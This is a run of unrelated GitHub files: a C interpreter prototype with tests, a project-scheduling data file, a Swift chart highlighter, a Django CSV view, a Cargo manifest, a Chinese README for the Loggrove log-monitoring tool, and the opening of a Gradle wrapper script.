if(x->n) {
t=ELl(x,0)->t;
res=xalloc(t,x->n);
for(i=0;i<x->n;i++) {
if(ELl(x,i)->t!=t) {
xfree(res); return x;
} else
append(res,ELl(x,i));
}
}
return res;
}
VP slice_(VP x,int i) {
VP res = xalloc(x->t,x->n-i);
memcpy(ELi(res,0),ELi(x,i),i*x->itemsz);
return res;
}
VP replaceleft(VP x,int n,VP replace) { // replace first i values with just 'replace'
int i;
ASSERT(LIST(x),"replaceleft arg must be list");
for(i=0;i<n;i++) xfree(ELl(x,i));
if(n>1) {
memmove(ELi(x,1),ELi(x,n),x->itemsz*(x->n-n));
}
EL(x,VP,0)=replace;
x->n=x->n-i;
return x;
}
inline int _equalm(VP x,int xi,VP y,int yi) {
// PF("comparing %p to %p\n", ELi(x,xi), ELi(y,yi));
// PF("_equalm\n"); DUMP(x); DUMP(y);
if(ENLISTED(x)) { PF("equalm descend x");
return _equalm(ELl(x,xi),0,y,yi);
}
if(ENLISTED(y)) { PF("equalm descend y");
return _equalm(x,xi,ELl(y,yi),0);
}
if(memcmp(ELi(x,xi),ELi(y,yi),x->itemsz)==0) return 1;
else return 0;
}
int _equal(VP x,VP y) {
/*
* PF("_equal");
DUMP(x);
DUMP(y);
*/
if(LIST(x) && SCALAR(x)) // if the list is a container for one item, we probably want to match the inner one
return _equal(ELl(x,0),y);
if(x->n != y->n) return 0; // XXX handle comparison tolerance and type conversion
if(LIST(x) && LIST(y)) { ITERV(x,{ IFR(_equal(ELl(x,_i),ELl(y,_i))==0, 0); }); }
ITERV(x,{ IFR(memcmp(ELb(x,_i),ELb(y,_i),x->itemsz)!=0,0); });
return 1;
}
int _findbuf(VP x,buf_t y) {
if(LISTDICT(x)) { ITERV(x,{
IFR(_findbuf(ELl(x,_i),y)!=-1,_i);
}); } else {
ITERV(x,{ IFR(memcmp(ELi(x,_i),y,x->itemsz)==0,_i); });
}
return -1;
}
int _find(VP x,VP y) {
ASSERT(LIST(x) || (x->t==y->t && y->n==1), "_find(): x must be list, or types must match with right scalar");
/*
* PF("find %p %p\n",x,y);
DUMP(x); DUMP(y);*/
if(LISTDICT(x)) { ITERV(x,{
VP xx;
xx=ELl(x,_i);
if(xx!=NULL)
IFR(_equal(xx,y)==1,_i);
}); }
else {
ITERV(x,{ IFR(memcmp(ELi(x,_i),ELi(y,0),x->itemsz)==0,_i); });
}
return -1;
}
VP find(VP x,VP y) {
return xi(_find(x,y));
}
int _contains(VP x,VP y) {
return _find(x,y)==-1 ? 0 : 1;
}
VP contains(VP x,VP y) {
return xi(_contains(x,y));
}
inline VP times(VP x,VP y) {
VP r = xalloc(x->t, x->n);
ITER2(x,y,{ append(r,xi(_x*_y)); });
return r;
}
inline VP each(VP verb,VP noun) {
}
char* repr0(VP x,char* s,size_t sz) {
type_info_t t;
if(x==NULL) { APF(sz,"[null]",0); return s; }
t=typeinfo(x->t);
APF(sz,"[%p %s tag=%d#%s itemsz=%d n=%d rc=%d] ",x,t.name,
x->tag,(x->tag!=0 ? sfromx(tagname(x->tag)) : ""),
x->itemsz,x->n,x->rc);
if(t.repr) (*(t.repr)(x,s,sz));
return s;
}
char* reprA(VP x) {
#define BS 1024
char* s = calloc(1,BS);
s = repr0(x,s,BS);
APF(BS,"\n",0);
return s;
}
// RUNTIME!!
VP len(VP x) {
return xin(1,x->n);
}
VP capacity(VP x) {
return xin(1,x->cap);
}
VP itemsz(VP x) {
return xin(1,x->itemsz);
}
VP til(VP x) {
VP acc;int i;
PF("TIL!!!!\n");
DUMP(x);
ASSERT(IS_i(x),"til: arg must be int");
acc = xisz(AS_i(x,0));
for(i=0;i<AS_i(x,0);i++) {
EL(acc,int,i)=i;
}
acc->n=i;
DUMP(acc);
return acc;
}
VP plus(VP x,VP y) {
}
VP sum(VP x) {
PF("sum");DUMP(x);
I128 val=0;int i;
if(!IS_i(x)) EXC(Tt(type),"sum argument should be numeric",x,0);
for(i=0;i<x->n;i++) val+=AS_i(x,i);
return xo(val);
}
VP labelitems(VP label,VP items) {
VP res;
PF("labelitems\n");DUMP(label);DUMP(items);
res=flatten(items);res->tag=_tagnums(sfromx(label));
DUMP(res);
return res;
}
VP mkproj(int type, void* func, VP left, VP right) {
Proj p;
VP pv=xpsz(1);
p.type=type;
if(type==1) {
p.f1=func;
p.left=left;
p.right=0;
} else {
p.f2=func;
p.left=left;
p.right=right;
}
EL(pv,Proj,0)=p;
pv->n=1;
return pv;
}
VP apply(VP x,VP y) {
VP res=NULL;int i;
PF("apply\n");
DUMP(x);
DUMP(y);
if(DICT(x)) {
VP k=KEYS(x),v=VALS(x);I8 found;
if(k==NULL || v==NULL) return NULL;
res=xi0();
if(IS_x(y)) {
loopy:
ITERV(y,{
res=match(ELl(y,_i),k);
PF("context match\n");DUMP(res);
if(res->n) {
VP rep;
rep=ELl(v,_i);
if(IS_1(rep) || IS_2(rep))
rep=apply(rep,apply(y,res));
y=replaceleft(y,res->n,rep);
}
});
} else {
ITERV(y,{
int idx;
PF("searching %d\n",_i);
if(LIST(y)) idx = _find(k,ELl(y,_i));
else idx = _findbuf(k,ELi(y,_i));
if(idx>-1) {
found=1;
PF("found at idx %d\n", idx); append(res,xi(idx));
}
});
}
if(res->n==0) {
if(x->next!=0) {
res=apply(x->next, res);
}
}
if(res->n==0)
return xl0();
else
return apply(v,res);
}
if(IS_p(x)) {
// if its dyadic
// if we have one arg, add y, and call - return result
// if we have no args, set y as left, and return x
// if its monadic
// if we have one arg already, call x[left], and then apply result with y
// i think this is right..
Proj* p;
p=ELi(x,0);
if(!p->left)
p->left=y;
else if (!p->right)
p->right=y;
if(p->type==1 && p->left) {
return (*p->f1)(p->left);
}
if(p->type==2 && p->left && p->right) {
return (*p->f2)(p->left,p->right);
}
}
if(IS_1(x)) {
unaryFunc* f; f=AS_1(x,0); return (*f)(y);
}
if(IS_2(x)) {
return mkproj(2,AS_2(x,0),y,0);
}
if(IS_i(y)) {
// index a value with an integer
if(y->n==1 && LIST(x)) {
// special case for generic lists:
// if you index with one item, return just that item
// generally you would receive a list back
// this may potentially become painful later on
i = AS_i(y,0); VP tmp = ELl(x,i); xref(tmp); return tmp;
} else {
res=xalloc(x->t,y->n);
ITERV(y,{
i=AS_i(y,_i); if(i < x->n) {
appendbuf(res,ELi(x,i),1);
} else { printf("out of bounds %d %d\n", i, x->n); }
});
return res;
}
}
}
// TAG STUFF:
VP tagwrap(VP tag,VP x) {
return entag(xln(1, x),tag);
}
VP tagwraps(const char* name, VP x) {
return entags(xln(1,x),name);
}
inline VP entag(VP x,VP t) {
if(IS_c(t))
x->tag=_tagnum(t);
else if (IS_i(t))
x->tag=AS_i(t,0);
return x;
}
inline VP entags(VP x,const char* name) {
x->tag=_tagnums(name);
return x;
}
inline VP tagname(const I32 tag) {
VP res;
// PF("tagname(%d)\n", tag);
// DUMP(TAGS);
if(TAGS==NULL) { TAGS=xl0();TAGS->rc=INT_MAX; }
if(tag>=TAGS->n) return xfroms("unknown");
res = ELl(TAGS,tag);
// PF("tagname res\n");
// DUMP(res);
return res;
}
const char* tagnames(const I32 tag) {
return sfromx(tagname(tag));
}
inline int _tagnum(const VP s) {
int i;
if(TAGS==NULL) { TAGS=xl0();TAGS->rc=INT_MAX;upsert(TAGS,xfroms("")); PF("new tags\n"); DUMP(TAGS); }
i=_upsertidx(TAGS,s);
// PF("tagnum %s -> %d\n",name,i);
// DUMP(TAGS);
return i;
}
int _tagnums(const char* name) {
int t;VP s;
s=xfroms(name);
t=_tagnum(s);
xfree(s);
return t;
}
VP match(VP obj,VP pat) { // TODO should be const
int anyof, exact, greedy;
int i, j, matchtag, found, mtype, pati, obji;
VP acc,tmp,oo,pp;
anyof=_tagnums("anyof"); exact=_tagnums("exact"); greedy=_tagnums("greedy");
mtype=pat->tag;
matchtag=0;
PF("mtype = %d %s\n",mtype,tagnames(mtype));
PF("match %d %d\n", obj->n, pat->n);
DUMP(obj);
DUMP(pat);
if(pat->tag) mtype=pat->tag;
if(ENLISTED(pat)) {
PF("breaking out enlisted pat");
pat=ELl(pat,0);
if(pat->tag) {
PF("grabbed tag");
matchtag=pat->tag;
}
}
if(mtype==exact &&
pat->n!=obj->n)
return xi0();
if(matchtag!=0 && obj->tag!=matchtag) {
PF("tag mismatch (%d vs %d - bombing)\n", matchtag, obj->tag);
return xi0();
}
acc = xi0();
pati = 0; obji = 0;
while(pati < pat->n && obji < obj->n) {
found=0;
PF("%s inner loop pat %d of %d, obj %d of %d\n", tagnames(mtype), pati, pat->n, obji, obj->n);
//DUMP(obj);DUMP(pat);
if(LIST(obj) && LIST(pat)) {
oo=ELl(obj,obji);
pp=ELl(pat,pati);
if(LIST(pp)&&LIST(obj)) {
PF("doing submatch\n");
tmp=match(ELl(obj,obji),ELl(pat,pati));
if(tmp->n>0) { found=1; appendbuf(acc,(buf_t)&obji,1); }
};
} else {
PF("doing raw equalm\n");
if(_equalm(pat,pati,obj,obji)) {
PF("items appear to match %d %d\n", pati, obji);
found=1; appendbuf(acc,(buf_t)&obji,1);
}
}
done:
PF("found = %d\n", found);
if (found) {
obji++;
if (mtype==greedy)
;
else
pati++;
}
if (!found) {
if (mtype==anyof) {
obji++;
pati++;
if (pati==pat->n-1)
pati=0;
} else {
obji++;
}
// pati++;
}
}
PF("final pati %d obji %d\n", pati, obji);
DUMP(acc);
return acc;
}
VP matchexec(VP obj,const VP pats) {
int i,j;VP res,res2,sel;
ASSERT(LIST(pats)&&pats->n%2==0,"pats should be a list of [pat1,fn1,pat2,fn2..]");
PF("matchexec\n");
DUMP(obj);
DUMP(pats);
for(i=0;i<pats->n;i+=2) {
PF("matchexec %d\n", i);
res=match(obj,ELl(pats,i));
PF("matchexec match\n");
DUMP(res);
if(res->n) {
res2=apply(ELl(pats,i+1),apply(obj,res));
obj=replaceleft(obj,res->n,res2);
}
}
return obj;
}
VP eval0(VP ctx,VP code,int level) {
int i,j;
VP k,v,cc,kk,vv,matchres,sel,rep;
PF("eval0 level %d\n",level);
DUMP(ctx);
DUMP(code);
ASSERT(LIST(code),"eval0 list for now");
k=KEYS(ctx);v=VALS(ctx);
ASSERT(k!=NULL&&v!=NULL,"eval0: empty ctx");
for(i=0;i<code->n;i++) { // XXX use wrapper function for descent
cc=ELl(code,i);
if (LIST(cc))
eval0(ctx,cc,level+1);
// try to match each key in ctx
for (j=0;j<k->n;j++) {
kk = ELl(k,j);
PF("eval0 inner %p\n", kk);DUMP(kk);
matchres = match(cc,kk);
if(matchres->n==kk->n) {
PF("got match\n");DUMP(kk);
sel = apply(cc,matchres);
PF("sel\n");DUMP(sel);
vv=ELl(v,j);
if(IS_1(vv))
rep=apply(vv,ELl(sel,1));
PF("rep\n");DUMP(rep);
EL(code,VP,i)=rep;
}
}
}
return code;
}
VP mklexer(const char* chars, const char* label) {
VP res = xlsz(2);
return xln(2,
entags(xln(1,
entags(xln(1,entags(xfroms(chars),"anyof")),"raw")
),"greedy"),
mkproj(2,&labelitems,xfroms(label),0)
);
}
VP mkint(VP x) {
PF("mkname\n");DUMP(x);
return entags(flatten(x),"name");
}
VP mkname(VP x) {
PF("mkname\n");DUMP(x);
return entags(flatten(x),"name");
}
VP mkcomment(VP x) {
return entags(flatten(x),"comment");
}
VP mkstr(VP x) {
return entags(flatten(x),"string");
}
// CONTEXTS:
VP mkctx() {
}
VP ctx_resolve(VP ctx) {
}
VP eval(VP code) {
VP ctx = xd0();VP tmp;
ASSERT(LIST(code),"eval(): code must be list");
tmp=xl0();
tmp=append(tmp,xt(_tagnums("til")));
tmp=append(tmp,xi0());
ASSERT(tmp->n==2,"eval tmp n");
ctx=append(ctx,xln(2, tmp, x1(&til) ));
tmp=xl0();
tmp=append(tmp,xi0());
tmp=append(tmp,xt(_tagnums("+")));
tmp=append(tmp,xi0());
ctx=append(ctx,xln(2, tmp, x2(&plus) ));
return eval0(ctx,code,0);
}
VP evalstr(const char* str) {
VP lex,pats,acc,t1;size_t l=strlen(str);int i;
str=" 123";
acc=xlsz(l);
for(i=0;i<l;i++)
append(acc,entags(xc(str[i]),"raw"));
DUMP(acc);
pats=xl0();
/* identifiers */
/*
append(pats,entags(
xln(1,
entags(xfroms("abcdefghjijklmnoprstuvwxyz"),"anyof")
),"greedy"));
append(pats,x1(&mkname));
*/
/*
* lex=mklexer("abcdefghijklmnopqrstuvwxyz","name");
append(pats,ELl(lex,0));
append(pats,ELl(lex,1));
xfree(lex);
*/
lex=mklexer(" \n\t\r","ws");
append(pats,ELl(lex,0));
append(pats,ELl(lex,1));
xfree(lex);
lex=mklexer("0123456789","int");
append(pats,ELl(lex,0));
append(pats,ELl(lex,1));
xfree(lex);
t1=matchexec(acc,pats);
PF("evalstr result\n");
DUMP(t1);
exit(1);
}
void test_basics() {
#include "test-basics.h"
}
void test_proj() {
VP a,b,c,n;
n=xi(1024*1024);
//a=mkproj(1,&til,n,0);
a=x1(&til);
b=apply(a,n);
PF("b\n");DUMP(b);
c=apply(mkproj(1,&sum,b,0),0);
PF("result\n");DUMP(c);
//printf("%lld\n", AS_o(c,0));
xfree(a);xfree(b);xfree(c);xfree(n);
//DUMP(c);
}
void test_context() {
VP a,b,c;
a=xd0();
assigns(a,"til",x1(&til));
assign(a,tagwraps("greedy",xln(3,xfroms("\""),xc0(),xfroms("\""))),x1(&mkstr));
b=xxn(7,xfroms("\""),xfroms("a"),xfroms("b"),xfroms("c"),xfroms("\""),xfroms("til"),xfroms("1024"));
c=apply(a,b);
DUMP(a);
DUMP(b);
}
void test_match() {
VP a,b,res;
ASSERT(_equal(match(xin(4,1,2,3,4),xin(4,1,2,3,4)),xin(4,0,1,2,3)),"m0");
ASSERT(_equal(match(xin(4,1,2,3,4),xin(2,1,2)), xin(2,0,1)),"m1");
ASSERT(_equal(match(xin(4,1,2,3,4),xin(1,1)), xin(1,0)),"m2");
ASSERT(_equal(match(xin(4,1,2,3,4),xin(1,2)), xin(1,1)),"m3");
ASSERT(_equal(match(xin(4,1,2,3,4),xin(2,2,3)), xin(2,1,2)),"m4");
ASSERT(_equal(match(xln(1,xi(9)),xin(2,9,8)), xin(1,0)),"ml0");
ASSERT(_equal(match(xln(2,xi(9),xi(8)),xin(2,9,8)),xin(2,0,1)),"ml1");
ASSERT(_equal(
match(
a=xin(4,1,2,3,4),
b=tagwraps("anyof",xin(4,5,6,7,8))
), res=xi0()), "m5");
xfree(a);xfree(b);xfree(res);
ASSERT(_equal(
match(
a=xin(5,1,2,3,4,5),
b=tagwraps("anyof",xin(3,5,6,7))
), res=xin(1,4)), "m6");
ASSERT(_equal(
match(
xin(5,5,8,7,6,4),
tagwraps("anyof",xin(4,9,8,7,6))
), xin(3,1,2,3)), "m7");
ASSERT(_equal(
match(
xin(5,5,8,7,6,4),
tagwraps("anyof",xin(3,1,1,1))
), xi0()), "m7");
ASSERT(_equal(
apply(xin(5,5,8,7,6,4), match(
xin(5,5,8,7,6,4),
tagwraps("anyof",xin(4,9,8,7,6))
)), xin(3,8,7,6)), "m8");
ASSERT(_equal(
match(xin(5,1,2,3,4,1),
tagwraps("greedy",
xln(3, xi(1), tagwraps("anyof",xin(3,2,3,4)), xi(1))
)), xin(5,0,1,2,3,4)), "m9");
ASSERT(_equal(
match(
xln(3,xfroms("\""),xfroms("blah"),xfroms("\"")),
tagwraps("greedy",
xln(3,xfroms("\""),xc0(),xfroms("\"")))
),xin(3,0,1,2)), "m10");
printf("BIG ONE\n\n\n\n");
ASSERT(_equal(
match(
xln(4,xi(100),xfroms("\""),xfroms("blah"),xfroms("\"")),
tagwraps("greedy",
xln(3,xfroms("\""),xc0(),xfroms("\"")))
),xin(3,1,2,3)), "m11");
/*
a=xin(4, 1, 2, 3, 4);
b=xin(4, 1, 2, 3, 4);
res=match(a,b);
DUMP(res);
ASSERT(res->n==4 && AS_i(res,0) == 0 && AS_i(res,3)==3, "match 0");
xfree(res); xfree(a); xfree(b);
a=xin(4, 1, 2, 3, 4);
b=xin(2, 1, 2);
res=match(a,b);
DUMP(res);
ASSERT(res->n==2 && AS_i(res,0) == 0 && AS_i(res,1)==1, "match 1");
xfree(res); xfree(a); xfree(b);
a=xin(4, 1, 2, 3, 4);
b=xin(2, 2, 3);
res=match(a,b);
DUMP(res);
*/
}
void test_eval() {
/*
VP code,tmp1,tmp2,tmp3;
PF("test_eval\n");
code=entags(xl0(),"code");
ASSERT(code->tag==_tagnums("code"),"entags 1");
tmp1=xln(2,
xt(_tagnums("til")),
xi(100)
);
tmp1->tag=_tagnums("value");
append(code,tmp1);
eval(code);
*/
evalstr("til 1024");
}
void tests() {
int i;
xprofile_start();
test_basics();
test_match();
test_context();
xprofile_end();
exit(1);
for(i=0;i<1024*1024;i++) {
xprofile_start();
test_match();
}
exit(1);
if (DEBUG) xprofile_start();
for(i=0;i<1024;i++) {
test_proj();
}
if (DEBUG) xprofile_end();
exit(1);
test_eval();
if(MEM_W) {
PF("alloced = %llu, freed = %llu\n", MEM_ALLOC_SZ, MEM_FREED_SZ);
}
}
int main(void) {
VP code;
tests();
}
/*
*/
| {
"pile_set_name": "Github"
} |
************************************************************************
file with basedata : md358_.bas
initial value random generator: 1139889017
************************************************************************
projects : 1
jobs (incl. supersource/sink ): 22
horizon : 169
RESOURCES
- renewable : 2 R
- nonrenewable : 2 N
- doubly constrained : 0 D
************************************************************************
PROJECT INFORMATION:
pronr. #jobs rel.date duedate tardcost MPM-Time
1 20 0 20 19 20
************************************************************************
PRECEDENCE RELATIONS:
jobnr. #modes #successors successors
1 1 3 2 3 4
2 3 3 5 6 9
3 3 1 16
4 3 2 18 20
5 3 3 7 10 18
6 3 3 8 13 17
7 3 3 8 11 13
8 3 3 12 15 20
9 3 2 10 17
10 3 2 12 14
11 3 3 12 15 17
12 3 2 16 21
13 3 2 19 21
14 3 1 15
15 3 1 21
16 3 1 19
17 3 1 20
18 3 1 19
19 3 1 22
20 3 1 22
21 3 1 22
22 1 0
************************************************************************
REQUESTS/DURATIONS:
jobnr. mode duration R 1 R 2 N 1 N 2
------------------------------------------------------------------------
1 1 0 0 0 0 0
2 1 4 9 7 9 7
2 4 7 5 9 10
3 8 5 2 9 7
3 1 1 4 6 8 5
2 6 3 4 7 4
3 8 1 4 5 2
4 1 7 6 8 7 8
2 7 7 7 10 8
3 10 2 4 3 8
5 1 1 4 10 9 9
2 5 3 9 9 8
3 10 3 9 9 6
6 1 1 5 7 7 9
2 4 3 7 4 8
3 4 3 7 6 7
7 1 2 7 7 7 7
2 5 7 3 5 6
3 10 7 2 4 5
8 1 3 9 6 9 3
2 9 9 5 4 3
3 10 8 4 1 2
9 1 3 3 9 8 3
2 3 5 8 6 2
3 4 2 8 1 2
10 1 3 4 10 4 7
2 5 4 9 4 6
3 10 4 9 4 5
11 1 2 8 6 3 3
2 7 6 6 2 2
3 8 1 2 1 2
12 1 2 8 4 8 7
2 2 6 5 7 6
3 10 5 3 4 6
13 1 1 7 6 9 7
2 5 4 5 8 7
3 10 3 5 8 6
14 1 1 8 5 10 10
2 1 8 6 9 10
3 5 7 4 8 9
15 1 2 3 6 9 4
2 6 2 5 8 4
3 8 1 5 7 4
16 1 2 8 4 5 3
2 7 7 3 5 3
3 9 5 2 4 2
17 1 3 6 5 8 7
2 4 5 5 6 4
3 9 4 4 3 2
18 1 5 7 4 7 5
2 7 7 3 6 5
3 10 7 1 4 5
19 1 6 4 5 8 4
2 9 3 5 7 3
3 10 3 4 5 3
20 1 7 5 6 6 2
2 7 5 8 5 2
3 8 5 2 4 2
21 1 6 10 8 2 3
2 6 9 8 3 3
3 8 5 7 2 3
22 1 0 0 0 0 0
************************************************************************
RESOURCEAVAILABILITIES:
R 1 R 2 N 1 N 2
22 22 104 95
************************************************************************
| {
"pile_set_name": "Github"
} |
//
// ChartBarHighlighter.swift
// Charts
//
// Created by Daniel Cohen Gindi on 26/7/15.
//
// Copyright 2015 Daniel Cohen Gindi & Philipp Jahoda
// A port of MPAndroidChart for iOS
// Licensed under Apache License 2.0
//
// https://github.com/danielgindi/ios-charts
//
import Foundation
import CoreGraphics
public class BarChartHighlighter: ChartHighlighter
{
public override func getHighlight(x x: Double, y: Double) -> ChartHighlight?
{
let h = super.getHighlight(x: x, y: y)
if h === nil
{
return h
}
else
{
if let set = self.chart?.data?.getDataSetByIndex(h!.dataSetIndex) as? BarChartDataSet
{
if set.isStacked
{
// create an array of the touch-point
var pt = CGPoint()
pt.y = CGFloat(y)
// take any transformer to determine the x-axis value
self.chart?.getTransformer(set.axisDependency).pixelToValue(&pt)
return getStackedHighlight(old: h, set: set, xIndex: h!.xIndex, dataSetIndex: h!.dataSetIndex, yValue: Double(pt.y))
}
}
return h
}
}
public override func getXIndex(x: Double) -> Int
{
if let barChartData = self.chart?.data as? BarChartData
{
if !barChartData.isGrouped
{
return super.getXIndex(x)
}
else
{
let baseNoSpace = getBase(x)
let setCount = barChartData.dataSetCount
var xIndex = Int(baseNoSpace) / setCount
let valCount = barChartData.xValCount
if xIndex < 0
{
xIndex = 0
}
else if xIndex >= valCount
{
xIndex = valCount - 1
}
return xIndex
}
}
else
{
return 0
}
}
public override func getDataSetIndex(xIndex xIndex: Int, x: Double, y: Double) -> Int
{
if let barChartData = self.chart?.data as? BarChartData
{
if !barChartData.isGrouped
{
return 0
}
else
{
let baseNoSpace = getBase(x)
let setCount = barChartData.dataSetCount
var dataSetIndex = Int(baseNoSpace) % setCount
if dataSetIndex < 0
{
dataSetIndex = 0
}
else if dataSetIndex >= setCount
{
dataSetIndex = setCount - 1
}
return dataSetIndex
}
}
else
{
return 0
}
}
/// This method creates the Highlight object that also indicates which value of a stacked BarEntry has been selected.
/// - parameter old: the old highlight object before looking for stacked values
/// - parameter set:
/// - parameter xIndex:
/// - parameter dataSetIndex:
/// - parameter yValue:
/// - returns:
public func getStackedHighlight(old old: ChartHighlight?, set: BarChartDataSet, xIndex: Int, dataSetIndex: Int, yValue: Double) -> ChartHighlight?
{
let entry = set.entryForXIndex(xIndex) as? BarChartDataEntry
if entry?.values === nil
{
return old
}
if let ranges = getRanges(entry: entry!)
where ranges.count > 0
{
let stackIndex = getClosestStackIndex(ranges: ranges, value: yValue)
let h = ChartHighlight(xIndex: xIndex, dataSetIndex: dataSetIndex, stackIndex: stackIndex, range: ranges[stackIndex])
return h
}
return nil
}
/// Returns the index of the closest value inside the values array / ranges (stacked barchart) to the value given as a parameter.
/// - parameter entry:
/// - parameter value:
/// - returns:
public func getClosestStackIndex(ranges ranges: [ChartRange]?, value: Double) -> Int
{
if ranges == nil
{
return 0
}
var stackIndex = 0
for range in ranges!
{
if range.contains(value)
{
return stackIndex
}
else
{
stackIndex += 1
}
}
let length = max(ranges!.count - 1, 0)
return (value > ranges![length].to) ? length : 0
}
/// Returns the base x-value to the corresponding x-touch value in pixels.
/// - parameter x:
/// - returns:
public func getBase(x: Double) -> Double
{
if let barChartData = self.chart?.data as? BarChartData
{
// create an array of the touch-point
var pt = CGPoint()
pt.x = CGFloat(x)
// take any transformer to determine the x-axis value
self.chart?.getTransformer(ChartYAxis.AxisDependency.Left).pixelToValue(&pt)
let xVal = Double(pt.x)
let setCount = barChartData.dataSetCount ?? 0
// calculate how often the group-space appears
let steps = Int(xVal / (Double(setCount) + Double(barChartData.groupSpace)))
let groupSpaceSum = Double(barChartData.groupSpace) * Double(steps)
let baseNoSpace = xVal - groupSpaceSum
return baseNoSpace
}
else
{
return 0.0
}
}
/// Splits up the stack-values of the given bar-entry into Range objects.
/// - parameter entry:
/// - returns:
public func getRanges(entry entry: BarChartDataEntry) -> [ChartRange]?
{
let values = entry.values
if (values == nil)
{
return nil
}
var negRemain = -entry.negativeSum
var posRemain: Double = 0.0
var ranges = [ChartRange]()
ranges.reserveCapacity(values!.count)
for i in 0 ..< values!.count
{
let value = values![i]
if value < 0
{
ranges.append(ChartRange(from: negRemain, to: negRemain + abs(value)))
negRemain += abs(value)
}
else
{
ranges.append(ChartRange(from: posRemain, to: posRemain+value))
posRemain += value
}
}
return ranges
}
}
| {
"pile_set_name": "Github"
} |
import djqscsv
from models import Person
def get_csv(request):
qs = Person.objects.all()
return djqscsv.render_to_csv_response(qs)
| {
"pile_set_name": "Github"
} |
[package]
name = "clippy-mini-macro-test"
version = "0.2.0"
authors = [
"Manish Goregaokar <[email protected]>",
"Andre Bogus <[email protected]>",
"Georg Brandl <[email protected]>",
"Martin Carton <[email protected]>",
"Oliver Schneider <[email protected]>"
]
license = "MIT OR Apache-2.0"
description = "A macro to test clippy's procedural macro checks"
repository = "https://github.com/rust-lang/rust-clippy"
edition = "2018"
[lib]
name = "clippy_mini_macro_test"
proc-macro = true
[dependencies]
| {
"pile_set_name": "Github"
} |
# Loggrove
***
[](https://www.python.org/)
[](http://www.tornadoweb.org/)
## Introduction
Loggrove 是对本地、远程**日志文件**进行 分页阅读、实时阅读(websocket)、关键词匹配、统计、监控、钉钉告警、Highcharts趋势图展示 的 Web 平台服务,并包含 用户认证、LDAP认证、操作审计 等基础服务。
### DEMO
地址:<http://39.105.81.124:6218>
用户:guest
密码:guest123
### Web UI 界面
简洁大方的 Web UI 界面,进行 日志文件、日志图表、日志阅读、日志轮询、日志关键词匹配、用户、审计 等统一管理,提供一系列简单、准确、美观的日志管理、查看、过滤 等服务。

[更多图片](#Exhibition)
### 超轻组件
Python 3.6
Tornado 5.0.2
MySQL 5.7
JQuery 3.1.0
Bootstrap 3.3
Sb-admin 2.0
### Logmonit
Logmonit 是一个纯监控报警的daemon程序,作为Loggrove监控报警功能的独立项目,不依赖Loggrove运行,它根据定义的TOML配置文件完成对日志的监控。
项目地址:<https://github.com/olajowon/logmonit>
## Requirements
**组件:** 安装 Python3.6、Pip3、MySQL5.7、Nginx 等服务;
**命令:** python3、pip3、mysql、yum 命令可用,否则会导致初始化 Loggrove 失败;
## Installation & Configuration
### 下载
git clone http://[email protected]:olajowon/loggrove.git
### 修改配置 settings.py
MYSQL_DB = {
'host': 'host',
'port': 3306,
'user': 'user',
'password': 'password',
...
}
SSH = {
'username': 'root',
'password': 'password',
'port': 22,
...
}
LDAP = {
'auth': False, # True 开启ldap认证
'base_dn': 'cn=cn,dc=dc,dc=dc',
'server_uri': 'ldap://...',
'bind_dn': 'uid=uid,cn=cn,cn=cn,dc=dc,dc=dc',
'bind_password': 'password',
}
**MYSQL_DB:** MySQL数据库连接配置。
**SSH:** SSH连接配置,用于SSH连接远程日志主机,建议使用root,避免权限不够。
**LDAP:** LDAP认证配置,这里选择性开启,Loggrove 本身内置了用户认证 ,没有LDAP需求的场景可以忽略此配置。
### 构建 build.py
python3 build.py
## Start-up
### 启动多实例 (建议使用Supervisor管理)
python3 start.py --port=8800
python3 start.py --port=8801
python3 start.py --port=8802
python3 start.py --port=8803
Supervisor 文档: <http://demo.pythoner.com/itt2zh/ch8.html#ch8-3>
### Nginx 代理
upstream loggrove {
server 127.0.0.1:8800;
server 127.0.0.1:8801;
server 127.0.0.1:8802;
server 127.0.0.1:8803;
}
server {
listen 80;
server_name localhost;
location / {
proxy_pass_header Server;
proxy_set_header Host $http_host;
proxy_redirect off;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Scheme $scheme;
proxy_pass http://loggrove;
}
}
### 项目日志
tail -f /tmp/loggrove.log
### 监控任务(统计、监控、告警)
#### 监控脚本
loggrove/scripts/monitor.py
#### 进行监控
在日志真实存储的机器上运行该脚本,使用参考 --help
python3 monitor.py -s http://<loggrove> -h <host>
注:推荐supervisor进行管理,也可以使用nohup简单运行
<a name="Exhibition"></a>
## Exhibition
### dashboard

### 日志文件 file

### 监控项 monitor item

### 日志阅读 read

### 日志轮询 keepread

### 日志图表 charts


### 登录 login

| {
"pile_set_name": "Github"
} |
#!/usr/bin/env sh
#
# Copyright 2015 the original author or authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
##
## Gradle start up script for UN*X
##
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
PRG="$0"
# Need this for relative symlinks.
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG=`dirname "$PRG"`"/$link"
fi
done
SAVED="`pwd`"
cd "`dirname \"$PRG\"`/" >/dev/null
APP_HOME="`pwd -P`"
cd "$SAVED" >/dev/null
APP_NAME="Gradle"
APP_BASE_NAME=`basename "$0"`
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD="maximum"
warn () {
echo "$*"
}
die () {
echo
echo "$*"
echo
exit 1
}
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "`uname`" in
CYGWIN* )
cygwin=true
;;
Darwin* )
darwin=true
;;
MINGW* )
msys=true
;;
NONSTOP* )
nonstop=true
;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
